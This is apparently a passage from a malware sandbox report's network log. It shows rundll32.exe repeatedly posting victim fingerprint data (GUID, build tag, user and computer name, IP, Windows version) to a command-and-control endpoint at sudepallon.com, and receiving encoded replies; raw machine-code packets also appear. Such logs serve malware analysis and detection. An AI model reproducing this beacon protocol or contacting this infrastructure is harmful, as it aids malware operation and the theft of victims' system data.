Jul 9, 2021 03:07:42.874016047 CEST	13	IN	Data Raw: 75 1c ff 75 18 ff 75 14 e8 4f 05 01 00 83 c4 10 89 f0 5e 5d c3 55 89 e5 56 8b 75 08 8b 45 0c 8b 55 10 89 f1 ff 30 ff 75 1c ff 75 18 ff 75 14 e8 28 05 01 00 83 c4 10 89 f0 5e 5d c3 55 89 e5 56 8b 75 08 8b 45 0c 8b 55 10 89 f1 ff 30 ff 75 1c ff 75 Data Ascii: uuuO^]UVuEU0uuu(^]UVuEU0uuu^]UVuEU0uuu^]UVuEU0uuu^]UVuEU0uuu^]UVV^]U
Jul 9, 2021 03:07:42.874027014 CEST	14	IN	Data Raw: 30 37 00 00 58 5d c3 55 89 e5 53 57 56 83 ec 40 85 c9 74 36 8b 45 08 89 ce 0f b7 79 06 85 d2 74 0a 8b 76 34 8b 4c b9 34 4a eb ee 83 65 b4 00 89 75 b8 83 65 bc 00 83 65 c0 00 83 65 c4 00 89 4d c8 83 65 cc 00 89 7d d0 eb 0a 83 65 b8 00 83 65 c8 00 Data Ascii: 07X]USWV@t6Eytv4L4JeueeeMe}ee1MA trHEE]EKCsy9r"UMMUEY&UMEuFtL4Jt41#KCsEEt-MUu}MEU%
Jul 9, 2021 03:07:42.874042034 CEST	16	IN	Data Raw: 38 89 44 24 3c 89 54 24 40 89 f1 89 fa e8 4b 21 00 00 8b 44 24 1c 85 c0 74 0a 8b 4c 24 18 8b 54 24 20 eb d9 8d 65 f4 5e 5f 5b 5d c3 0f 0b 0f 0b 55 89 e5 8b 01 66 83 20 00 8b 51 04 8b 01 01 d2 89 c1 6a 02 e8 b1 31 00 00 58 5d c3 55 89 e5 8b 41 04 Data Ascii: 8D$<T$@K!D$tL$T$ e^_[]Uf Qj1X]UAtkj1X]UV~t+^]JVX^]UWV9t)IF)j4_(VMQ^_]U9t]]UWV9t)
Jul 9, 2021 03:07:42.910140038 CEST	17	IN	Data Raw: 36 e8 34 f1 01 00 58 59 0f 0b 55 89 e5 56 8b 31 89 d0 8b 51 04 89 f1 50 6a 00 e8 1b f1 01 00 58 59 0f 0b 55 89 e5 57 56 8b 11 8b 79 08 8b 71 04 8b 02 8b 52 04 89 c1 ff 37 ff 36 e8 fa f0 01 00 58 59 0f 0b 55 89 e5 ff 75 0c ff 75 08 e8 81 ee ff ff Data Ascii: 64XYUV1QPjXYUWVyqR76XYUuuYZ]UuuYZ4]UVUMut9tv<~^]MnUMUEUMt9tv<~)]MEUEAQ<USWV,

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.22	49185	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:07:48.810837984 CEST	316	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:07:48.878561974 CEST	317	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:07:50 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 54 43 58 47 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cTCXGARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
200	192.168.2.22	49365	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:56.406415939 CEST	519	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:56.473161936 CEST	519	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:58 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 48 47 54 53 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cHGTSARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
201	192.168.2.22	49366	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:56.745111942 CEST	520	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:56.816756010 CEST	520	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:58 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 42 5a 41 59 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cBZAYARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
202	192.168.2.22	49367	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:57.091557026 CEST	521	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:57.157157898 CEST	521	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:58 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 41 48 53 5a 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cAHSZARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
203	192.168.2.22	49368	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:57.433643103 CEST	522	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:57.505732059 CEST	522	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:59 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 43 47 54 58 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cCGTXARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
204	192.168.2.22	49369	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:57.816495895 CEST	523	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:57.887936115 CEST	523	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:59 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 47 47 54 54 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cGGTTARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
205	192.168.2.22	49370	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:58.168729067 CEST	524	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:58.233576059 CEST	525	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:59 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 5a 41 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZZAAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
206	192.168.2.22	49371	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:58.510200977 CEST	525	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:58.576289892 CEST	526	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:09:00 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 41 4e 4d 5a 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cANMZARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
207	192.168.2.22	49372	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:58.859489918 CEST	526	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:58.927608013 CEST	527	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:09:00 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 59 48 53 42 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cYHSBARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
208	192.168.2.22	49373	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:59.215445995 CEST	528	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:59.281848907 CEST	528	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:09:00 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 48 4b 50 53 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cHKPSARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
209	192.168.2.22	49374	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:59.560578108 CEST	529	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:59.627177000 CEST	529	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:09:01 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 43 41 5a 58 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cCAZXARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.22	49186	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:07:49.164876938 CEST	317	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:07:49.235749960 CEST	318	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:07:50 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4b 48 53 50 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cKHSPARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
210	192.168.2.22	49375	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:59.918294907 CEST	530	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:59.984766006 CEST	530	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:09:01 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4d 43 58 4e 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cMCXNARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
211	192.168.2.22	49376	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:09:00.273938894 CEST	531	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:09:00.340024948 CEST	531	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:09:01 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4d 47 54 4e 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cMGTNARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
212	192.168.2.22	49377	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:09:00.629359007 CEST	532	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:09:00.695616007 CEST	532	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:09:02 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4e 5a 41 4d 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cNZAMARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
213	192.168.2.22	49378	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:09:00.971288919 CEST	533	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:09:01.038072109 CEST	534	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:09:02 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 47 48 53 54 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cGHSTARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
214	192.168.2.22	49379	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:09:01.312721968 CEST	534	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:09:01.377965927 CEST	535	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:09:02 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 42 4b 50 59 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cBKPYARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
215	192.168.2.22	49380	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
